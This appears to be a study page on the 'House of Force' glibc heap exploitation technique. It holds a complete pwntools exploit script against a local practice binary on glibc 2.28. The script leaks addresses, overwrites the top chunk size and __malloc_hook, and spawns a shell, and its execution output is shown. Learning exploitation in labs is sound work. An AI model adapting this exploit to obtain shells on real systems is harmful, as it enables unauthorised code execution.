Skip to content

House of Force

Technique

Overwrite the top chunk size field with a large value (like 0xFFFFFFFFFFFFFFFF), then request enough memory to fill the gap between the top chunk and the target data (in this case, __malloc_hook). Subsequently, replace the __malloc_hook pointer with the address of the system function and call malloc with a pointer to /bin/sh as an argument to obtain a shell.

Warning

GLIBC version 2.29 introduced a top chunk size field sanity check, which ensures that the top chunk size does not exceed the system_mem value of its corresponding arena. GLIBC version 2.30 introduced a maximum allocation size check, which limits the size of the gap that the House of Force technique can fill.

Exploit Script

#!/usr/bin/env python3
from pwn import *


delta = lambda x, y: 0xFFFF_FFFF_FFFF_FFFF - x + y & 0xFFFF_FFFF_FFFF_FFFF

def malloc(size, data, shell=False):
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"size: ", str(size).encode())
    if shell: io.interactive()
    io.sendafter(b"data: ", data)

def read_leak():
    io.recvuntil(b"puts() @ ")
    puts = int(io.recvline().strip(), 16)
    io.recvuntil(b"heap @ ")
    heap = int(io.recvline().strip(), 16)
    return puts, heap

# -----[ CONTEXT ]-----
BINARY = "./house_of_force"
LIBC = "../.glibc/glibc_2.28_no-tcache/libc.so.6"
elf = context.binary = ELF(BINARY)
libc = ELF(LIBC)
# context.log_level = "debug"

# -----[ EXPLOIT ]-----
io = process([BINARY])
# Read the leak & calculate the addresses
puts, heap = read_leak()
libc.address = puts - libc.sym["puts"]
print(f"puts: {hex(puts)}")
print(f"libc: {hex(libc.address)}")
print(f"heap: {hex(heap)}")

system = libc.sym["system"]
malloc_hook = libc.sym["__malloc_hook"]
print(f"system: {hex(system)}")
print(f"malloc_hook: {hex(malloc_hook)}")

# Use "/bin/sh" from the heap or libc
bin_sh_libc = libc.address + 0x177375
bin_sh_heap = heap + 0x30
print(f"bin_sh (libc): {hex(bin_sh_libc)}")
print(f"bin_sh (heap): {hex(bin_sh_heap)}")

# Overwrite the Top Chunk Size with maximum value
top_chunk_size = p64(0xFFFF_FFFF_FFFF_FFFF)
offset = 24 
malloc(offset, b"A" * offset + top_chunk_size)

# Fill space until the target (malloc_hook)
distance = delta(heap + 0x20, malloc_hook - 0x20)
print(f"distance: {hex(distance)}")
malloc(distance, b"/bin/sh\x00")

# Overwrite malloc_hook with system
malloc(24, p64(system))

# Trigger the shell
malloc(bin_sh_libc, b"", shell=True)

Execution

$ python3 xpl_house_of_force.py
[+] Starting local process './house_of_force': pid 52901
puts: 0x7857c5a6df10
libc: 0x7857c5a00000
heap: 0x9d3000
system: 0x7857c5a41b70
malloc_hook: 0x7857c5dafc10
bin_sh (libc): 0x7857c5b77375
bin_sh (heap): 0x9d3030
distance: 0x7857c53dcbcf
[*] Switching to interactive mode
$ id
uid=1001(xanhacks) gid=1001(xanhacks) groups=1001(xanhacks),998(wheel)

References